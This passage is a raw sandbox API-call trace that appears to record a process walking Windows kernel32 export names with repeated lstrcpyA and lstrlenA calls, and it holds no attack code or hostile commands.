lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0109.019] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0109.019] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0109.019] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0109.019] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0109.019] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0109.019] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0109.019] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0109.019] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0109.019] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0109.019] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0109.019] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0109.019] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0109.019] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0109.020] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0109.020] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0109.020] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0109.020] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0109.020] lstrlenA (lpString="BEEP") returned 4 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0109.020] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0109.020] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0109.020] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0109.020] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0109.020] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0109.020] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0109.020] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0109.020] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0109.020] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0109.020] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0109.020] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0109.021] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0109.021] lstrlenA (lpString="CANCELIO") returned 8 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0109.021] lstrlenA (lpString="CANCELIOEX") returned 10 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0109.021] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0109.021] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0109.021] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0109.021] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0109.021] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0109.021] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0109.021] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0109.021] lstrlenA (lpString="CHECKELEVATION") returned 14 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0109.021] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0109.021] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0109.021] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0109.021] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0109.021] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0109.021] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0109.022] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0109.022] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0109.022] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0109.022] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0109.022] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0109.022] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0109.022] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0109.022] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0109.022] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0109.022] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0109.022] lstrlenA (lpString="CLOSESTATE") returned 10 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0109.022] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0109.022] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0109.022] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0109.022] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0109.022] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0109.022] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0109.023] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0109.023] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0109.023] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0109.023] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0109.023] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0109.023] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0109.023] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0109.023] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0109.023] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0109.023] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0109.023] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0109.023] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0109.023] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0109.023] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0109.023] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0109.023] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0109.024] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0109.024] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0109.024] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0109.024] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0109.024] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0109.024] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0109.024] lstrlenA (lpString="COPYCONTEXT") returned 11 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0109.024] lstrlenA (lpString="COPYFILE2") returned 9 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0109.024] lstrlenA (lpString="COPYFILEA") returned 9 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0109.024] lstrlenA (lpString="COPYFILEEXA") returned 11 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0109.024] lstrlenA (lpString="COPYFILEEXW") returned 11 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0109.024] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0109.024] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0109.024] lstrlenA (lpString="COPYFILEW") returned 9 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0109.024] lstrlenA (lpString="COPYLZFILE") returned 10 [0109.024] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0109.025] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0109.025] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0109.025] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0109.025] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0109.025] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0109.025] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0109.025] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0109.025] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0109.025] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0109.025] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0109.025] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0109.025] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0109.025] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0109.025] lstrlenA (lpString="CREATEEVENTA") returned 12 [0109.025] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0109.025] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0109.026] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0109.026] lstrlenA (lpString="CREATEEVENTW") returned 12 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0109.026] lstrlenA (lpString="CREATEFIBER") returned 11 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0109.026] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0109.026] lstrlenA (lpString="CREATEFILE2") returned 11 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0109.026] lstrlenA (lpString="CREATEFILEA") returned 11 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0109.026] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0109.026] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0109.026] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0109.026] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0109.026] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0109.026] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0109.026] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0109.026] lstrlenA (lpString="CREATEFILEW") returned 11 [0109.026] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0109.027] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0109.027] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0109.027] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0109.027] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0109.027] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0109.027] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0109.027] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0109.027] lstrcpyA (in: lpString1=0x2e7eb64, 